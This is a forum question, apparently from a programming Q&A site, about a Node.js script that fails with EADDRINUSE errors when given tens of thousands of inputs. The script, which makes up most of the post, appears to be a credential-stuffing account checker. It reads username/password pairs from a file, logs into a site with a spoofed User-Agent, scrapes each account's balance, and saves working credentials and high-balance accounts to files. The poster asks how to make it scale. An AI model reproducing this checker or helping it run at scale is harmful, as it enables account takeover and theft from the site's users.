title: Who nodejs http request fails when there are too much tasks?
body: <p>I should login and call http some api points by nodejs,</p>
  
  <pre><code>var mins = 150;
  var url = require('url');
  const domainim= 'example.com';
  const request = require('requestretry').defaults({
          jar : true,
          timeout : 120000
      });
  const req = require('request');
  var fs = require('fs');
  var linkler = [];
  var timeoutsure = 120 * 1000;
  var separateReqPool = {
      maxSockets : 20
  };
  let success = 0, fail = 0, toplam = 0, plusplus = 0;
  let adet = 0;
  let jardata = {};
  let baslama = Math.round(new Date().getTime() / 1000);
  
  function texts(l) {
      var t = "";
      var p = "abcdefghijklmnopqrstuvwxyz0123456789";
      for (var i = 0; i &lt; l; i++) {
          t += p.charAt(Math.floor(Math.random() * p.length));
      }
      return t;
  }
  
  fs.readFile("data.txt", function (err, data) {
      if (err)
          throw err;
      data = data.toString().replace("\r", "");
      data = data.split(/\r\n|\r|\n/g);
      console.log("toplam data : " + data.length);
      toplam = data.length;
      data.forEach(
          function (line) {
          isle(line);
      });
  });
  
  function onExit() {
      console.log('\n%d sec,\n%d total,\n%d suc,\n%d fai,\n%d plusplus,\n---------------------\n',
          (Math.round(new Date().getTime() / 1000)) - baslama, toplam, success, fail, plusplus);
  }
  process.on('exit', onExit);
  
  function dataok(id, pass, bakiye) {
      console.log(id + " " + pass + " " + bakiye);
      var fd = fs.openSync("hardblock.txt", 'a+');
      fs.writeSync(fd, id + " " + pass + " " + bakiye + "\r\n");
      fs.closeSync(fd);
  
  }
  
  function extradata(id, pass, bakiye) {
      console.log(id + " " + pass + " " + bakiye);
      var fd = fs.openSync("harddata.txt", 'a+');
      fs.writeSync(fd, id + " " + pass + " " + bakiye + "\r\n");
      fs.closeSync(fd);
  
  }
  
  function isle(line) {
      jardata[line.split(" ")[0]] = req.jar();
      request({
          url : 'http://'+domainim+'/',
          jar : jardata[line.split(" ")[0]],
          headers : {
              'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36'
          },
          maxAttempts : 15,
          retryDelay : 2000,
          followRedirect : true,
          //  proxy :"http://127.0.0.1:38936",
          timeout : timeoutsure,
          pool : separateReqPool
      }, function optionalCallback(err, httpResponse, body) {
          if (httpResponse &amp;&amp; httpResponse.attempts) {
              adet += httpResponse.attempts;
          }
          if (err) {
              return console.error('failed: 49', err);
          } else {
  
              data = {
                  username : line.split(" ")[0],
                  password : line.split(" ")[1],
                  submit : "Giriş"
              };
              request.post({
                  url : 'http://'+domainim+'/dologin/',
                  jar : jardata[line.split(" ")[0]],
                  header : httpResponse.headers,
                  headers : {
                      'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36'
                  },
                  maxAttempts : 15,
                  retryDelay : 2000,
                  followRedirect : false,
                  followAllRedirects : false,
                  //  proxy :"http://127.0.0.1:38936",
                  timeout : timeoutsure,
                  pool : separateReqPool,
                  form : data
              }, function optionalCallback(err, httpResponse, body) {
                  if (httpResponse &amp;&amp; httpResponse.attempts) {
                      adet += httpResponse.attempts;
                  }
                  if (err) {
                      return console.error('failed: 49', err);
                  } else {
  
                      request({
                          url : 'http://'+domainim+'/',
                          jar : jardata[line.split(" ")[0]],
                          headers : {
                              'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36'
                          },
                          maxAttempts : 15,
                          retryDelay : 2000,
                          followRedirect : true,
                          //  proxy :"http://127.0.0.1:38936",
                          timeout : timeoutsure,
                          pool : separateReqPool
                      }, function optionalCallback(err, httpResponse, body) {
                          if (httpResponse &amp;&amp; httpResponse.attempts) {
                              adet += httpResponse.attempts;
                          }
                          if (err) {}
                          else {
                              if (body.indexOf('class="success"') &gt; -1) {
                                  dataok(line.split(" ")[0], line.split(" ")[1], body.split('class="succes" title="')[1].split('"')[0]);
                                  success++;
                                  if (parseFloat(body.split('class="succes" title="')[1].split('"')[0]) &gt;= mins) {
                                      plusplus++;
                                      extradata(line.split(" ")[0], line.split(" ")[1], body.split('class="succes" title="')[1].split('"')[0]);
                                  } else {
  
                                      request({
                                          url : 'http://'+domainim+'/refresh/',
                                          jar : jardata[line.split(" ")[0]],
                                          headers : {
                                              'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36'
                                          },
                                          maxAttempts : 15,
                                          retryDelay : 2000,
                                          followRedirect : true,
                                          //  proxy :"http://127.0.0.1:38936",
                                          timeout : timeoutsure,
                                          pool : separateReqPool
                                      }, function optionalCallback(err, httpResponse, body) {
                                          if (httpResponse &amp;&amp; httpResponse.attempts) {
                                              adet += httpResponse.attempts;
                                          }
                                          if (err) {}
                                          else {
                                          if (parseFloat(body)&gt;= mins){
                                          plusplus++;
                                          extradata(line.split(" ")[0], line.split(" ")[1], parseFloat(body));
                                          }
                                          }
                                      });
                                  }
                              } else {
                                  fail++;
                              }
                          }
                      });
  
                  }
              });
  
          }
      });
  
  }
  </code></pre>
  
  <p>when my data in data.txt is like 5,10,1000 code works without a problem.</p>
  
  <p>but when data gets bigger like 15,000 or 50,000 or bigger</p>
  
  <p>it only can http calls with %10 success rate. and others fails and give me errors like this : </p>
  
  <pre><code>failed: 49  Error: connect EADDRINUSE 103.253.186.202:80
      at Object._errnoException (util.js:1031:13)
      at _exceptionWithHostPort (util.js:1052:20)
      at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1195:14)
    errno: 'EADDRINUSE',
    code: 'EADDRINUSE',
    syscall: 'connect',
    address: '1.2.3.4',
    port: 80 
  </code></pre>
  
  <p>what may be i doing wrong? is not nodejs capable of to do this?</p>
  
  <p>and jar doesn't work as expected,it sometimes uses other's sessionas mistake</p>